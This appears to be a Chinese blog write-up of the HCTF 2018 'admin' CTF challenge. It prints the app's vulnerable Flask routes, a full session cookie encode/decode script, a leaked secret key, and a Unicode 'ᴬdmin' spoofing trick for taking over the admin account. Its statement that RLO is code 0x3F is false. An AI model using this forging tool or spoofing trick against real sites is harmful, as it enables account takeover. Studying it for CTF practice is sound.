【CTF】buuctf web(五)——[HCTF 2018]admin——flask session伪造+Unicode欺骗

本文探讨了FLASK框架中session的安全性,解释了Unicode反转字符如何用于欺骗。通过伪造session或利用unicode转换漏洞,可以绕过权限检查。解题方法包括解析并伪造session及利用nodeprep函数进行unicode欺骗,最终达到伪装成管理员的目的。安全措施至关重要,避免此类漏洞导致的安全风险。
摘要由CSDN通过智能技术生成

知识点

FLASK

  • flask是把session存在客户端的,也就是存储在本地,而且flask只经过base64编码和用密钥签名,虽然没有签名不可以伪造session,但是有很多信息我们可以直接从session解码找出来。
  • 路由是将URL直接映射到创建网页的代码的机制。它有助于更好地管理网页的结构,并显着提高网站的性能,并且进一步的增强或修改将变得非常简单。在python中,路由是在大多数网络框架中实现的。
  • Flask路由
    Flask中的route()装饰器用于将URL绑定到函数。当在浏览器中访问对应URL时,将执行该函数以给出结果。
  • 使用URL变量
    我们可以使用路由传递URL变量以动态构建URL。使用url_for()函数,该函数将函数名称作为第一个参数,并将其余参数作为URL规则的可变部分。
  • 重定向
    可以使用重定向功能通过路由将用户重定向到另一个URL。提到了新的URL作为函数的返回值,该函数应该重定向用户。当我们在修改网页的一些问题时,将用户暂时转移到其他页面时,这很有用。

Unicode反转字符利用

  • Unicode:控制字符是RLO,ASCII码是 0x3F。只要在一行字符前面加上一个0x3F就可以实现文本的反向排列。这个0x3F是Unicode为了兼容阿拉伯文字从左至右的阅读习惯设计的一个转义字符。
  • nodeprep是从twisted模块中导入的,利用nodeprep.prepare函数会将unicode字符转换。例如利用nodeprep.prepare函数会将unicode字符转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a

思路

在这里插入图片描述这里有两个选项,点击register注册一个新账户
在这里插入图片描述

下面这就算是登进来了
在这里插入图片描述
查看源码

在这里插入图片描述
提示you are not admin,可能需要登录admin才能获取我们想要的东西

试一下弱口令,用户名admin,密码123
在这里插入图片描述结果就这么成功登进来了,所以这里警示我们密码复杂点

好,上面是插叙,下面才是正常解法

在这里插入图片描述
登录后有四个选项
点击post

在这里插入图片描述猜测是xss,结果一顿操作后啥也不是

下一个选项change password
发现change源码中有一个地址

在这里插入图片描述
访问一下发现提供了网页的源码,是一个flask项目
在这里插入图片描述既然是flask项目,那就先查看一下路由
在APP目录里找到routes.py路由文件

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

然后我就没什么思路了,下面看一下大佬们的解题方法

解题方法

方法一:flask session伪造

flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

具体方法:
首先通过脚本将session解密

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

加密伪造生成自己想要的session,需要知道SECRET_KEY,我们找到有关secret_key的目录,发现在config.py里面

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

看这里

方法二:unicode欺骗

  • unicode转换字符网站https://unicode-table.com/en/blocks/
  • 代码审计:这里重点要注意以下strlower()函数,其中调用nodeprep.prepare函数,在代码开头有一行代码:from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,说明nodeprep是从twisted模块中导入的,利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。而值得注意的是strlower()自定义函数被调用了三次,分别是registerloginchange,即注册、登陆、修改密码时都会被调用。
  • 思路:用ᴬdmin注册,后台代码就会调用一次nodeprep.prepare函数,把用户名转换成Admin;修改一次密码,再次调用nodeprep.prepare函数,使用户名由Admin转换为admin,重新登陆,就可以得到flag

在这里插入图片描述
登陆
在这里插入图片描述
进入之后自动将ᴬdmin转换为Admin
然后修改密码重新登陆
在这里插入图片描述
在这里插入图片描述拿到flag~~

总结思路

其实这里统一的目标就是欺骗服务器本人就是admin用户

参考文章

参考链接:https://blog.csdn.net/weixin_44677409/article/details/100733581
参考链接:https://www.jianshu.com/p/f92311564ad0
参考链接:https://www.cnblogs.com/zaqzzz/p/10243961.html

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值